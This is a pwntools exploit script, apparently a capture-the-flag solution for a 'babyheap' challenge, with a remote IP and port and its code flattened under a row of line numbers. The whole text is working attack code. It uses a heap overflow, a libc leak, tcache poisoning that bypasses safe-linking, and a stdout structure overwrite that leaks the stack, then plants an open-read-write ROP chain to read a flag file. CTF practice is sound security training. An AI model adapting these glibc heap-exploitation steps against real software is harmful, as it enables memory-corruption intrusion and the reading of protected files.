1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
| from pwn import * binary = "./babyheap" elf = ELF(binary) libc = elf.libc ip = '1.14.71.254' port = 28834 local = 1 if local: io = process(binary) else: io = remote(ip, port)
context(arch = 'amd64', os = 'linux') def debug(): gdb.attach(io) pause()
s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00')) uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data))) ia = lambda : io.interactive() _flags = 0xfbad1800
def menu(n): sla(b'Command: ', str(n))
def add(size, con = b'a'): menu(1) sla(b'Size: ', str(size)) sla(b'Content: ', con)
def edit(idx, con): menu(2) sla(b'Index: ', str(idx)) sla(b'Size: ', str(-1)) sla(b'Content: ', con)
def delete(idx): menu(3) sla(b'Index: ', str(idx))
def show(idx): menu(4) sla(b'Index: ', str(idx))
add(0x10) add(0x400) add(0x10) add(0x10) add(0x20) add(0x20) add(0x10)
edit(0, b'\x00' * 0x18 + p64(0x4b1)) delete(1) add(0x400) show(2) libcbase = uu64() - 0x219ce0 lg('libcbase') set_context = libcbase + 0x53a30 + 61 fd = libcbase + 0x21a0d0 stdout = libcbase + libc.sym['_IO_2_1_stdout_'] pop_rdi = libcbase + 0x2a3e5 pop_rsi = libcbase + 0x2be51 pop_rdx_r12 = libcbase + 0x11f497 ret = libcbase + 0x29cd6 pop_rax = libcbase + 0x45eb0 syscall = libcbase + 0x91396 open_addr = libcbase + libc.sym['open'] read_addr = libcbase + libc.sym['read'] write_addr = libcbase + libc.sym['write'] environ = libcbase + 0x221200
add(0x10) add(0x10) add(0x20) add(0x20)
delete(2) show(7) ru(b': ') key = u64(io.recv(6).ljust(8, b'\x00')) heapbase = key << 12 lg('heapbase') lg('key')
delete(3) edit(8, p64((stdout - 0x20) ^ key)) payload = p64(_flags) + p64(0) * 3 + p64(environ) + p64(environ + 8) * 2 add(0x10) add(0x10)
edit(3, b'\x00' * 0x20 + payload) stack = uu64() - 0x128 lg('stack')
delete(4) delete(5) edit(10, p64(stack ^ key))
add(0x20) add(0x20)
flag_addr = stack orw = b'flag' + p32(0) orw += p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(syscall) orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heapbase) + p64(pop_rdx_r12) + p64(0x30) * 2 + p64(read_addr) orw += p64(pop_rdi) + p64(1) + p64(write_addr)
edit(5, orw) menu(5) ia()
|